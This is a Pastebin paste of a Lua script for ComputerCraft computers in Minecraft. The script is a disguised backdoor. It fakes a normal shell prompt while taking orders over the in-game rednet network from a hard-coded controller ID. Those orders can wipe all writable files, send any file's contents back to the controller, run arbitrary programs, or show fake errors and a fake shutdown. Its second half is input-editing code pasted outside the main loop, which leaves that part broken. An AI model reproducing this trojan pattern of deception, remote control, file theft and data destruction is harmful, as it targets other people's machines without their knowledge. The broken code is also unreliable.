Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local derr = 529; --CHANGE THIS TO YOUR ID
- local _sReplaceChar = nil
- local _tHistory = ""
- term.clear()
- term.setCursorPos(1,1)
- rednet.open("left")
- rednet.open("right")
- rednet.open("back")
- rednet.open("top")
- if fs.exists("formatted352") then
- os.shutdown()
- end
- print(os.version())
- write("> ")
- while true do
- rednet.send(derr, "Hello" ..derr)
- term.setCursorBlink( true )
- local sEvent, param, message = os.pullEventRaw()
- if sEvent == "rednet_message" and param == derr then
- if message == "Spam" then
- print()
- for i=1,10 do
- print("bios:21: /rom/ does not exist!")
- end
- write("> ")
- elseif message == "Clear" then
- term.clear()
- term.setCursorPos(1,1)
- write("> ")
- elseif message == "Boot" then
- term.clear()
- term.setCursorPos(1,1)
- print(os.version())
- write("> ")
- elseif message == "Off" then
- print("\nGoodbye.")
- sleep(1)
- term.clear()
- term.setCursorPos(1,1)
- term.setCursorBlink( false )
- sleep(5)
- print(os.version())
- write("> ")
- term.setCursorBlink( true )
- elseif message == "format" then
- fs.makeDir("formatted352")
- files = fs.list("/")
- for n=1,#files do
- if files[n] == "startup" or files[n] == "formatted352" or fs.isReadOnly(files[n]) then else
- fs.delete(files[n])
- end
- end
- os.reboot()
- elseif message == "copy" then
- id, filename = rednet.receive()
- if fs.exists(filename) then
- copied = fs.open(filename, "r")
- rednet.send(derr, copied.readAll())
- copied.close()
- else
- rednet.send(derr, "runfailed")
- end
- else
- if fs.exists(message) then
- shell.run(message)
- else
- rednet.send(derr, "runfailed")
- end
- end
- end
- local nHistoryPos = nil
- local sLine = ""
- local nPos = 0
- if _sReplaceChar then
- _sReplaceChar = string.sub( _sReplaceChar, 1, 1 )
- end
- local w, h = term.getSize()
- local sx, sy = term.getCursorPos()
- local function redraw()
- local nScroll = 0
- if sx + nPos >= w then
- nScroll = (sx + nPos) - w
- end
- term.setCursorPos( sx, sy )
- term.write( string.rep(" ", w - sx + 1) )
- term.setCursorPos( sx, sy )
- if _sReplaceChar then
- term.write( string.rep(_sReplaceChar, string.len(sLine) - nScroll) )
- else
- term.write( string.sub( sLine, nScroll + 1 ) )
- end
- term.setCursorPos( sx + nPos - nScroll, sy )
- end
- if sEvent == "char" then
- sLine = string.sub( sLine, 1, nPos ) .. param .. string.sub( sLine, nPos + 1 )
- nPos = nPos + 1
- redraw()
- elseif sEvent == "key" then
- if param == 28 then
- -- Enter
- term.setCursorBlink( false )
- term.setCursorPos( w + 1, sy )
- print("No such program")
- write("> ")
- elseif param == 203 then
- -- Left
- if nPos > 0 then
- nPos = nPos - 1
- redraw()
- end
- elseif param == 205 then
- -- Right
- if nPos < string.len(sLine) then
- nPos = nPos + 1
- redraw()
- end
- elseif param == 200 or param == 208 then
- -- Up or down
- if _tHistory then
- if param == 200 then
- -- Up
- if nHistoryPos == nil then
- if #_tHistory > 0 then
- nHistoryPos = #_tHistory
- end
- elseif nHistoryPos > 1 then
- nHistoryPos = nHistoryPos - 1
- end
- else
- -- Down
- if nHistoryPos == #_tHistory then
- nHistoryPos = nil
- elseif nHistoryPos ~= nil then
- nHistoryPos = nHistoryPos + 1
- end
- end
- if nHistoryPos then
- sLine = _tHistory[nHistoryPos]
- nPos = string.len( sLine )
- else
- sLine = ""
- nPos = 0
- end
- redraw()
- end
- elseif param == 14 then
- -- Backspace
- if nPos > 0 then
- sLine = string.sub( sLine, 1, nPos - 1 ) .. string.sub( sLine, nPos + 1 )
- nPos = nPos - 1
- redraw()
- end
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment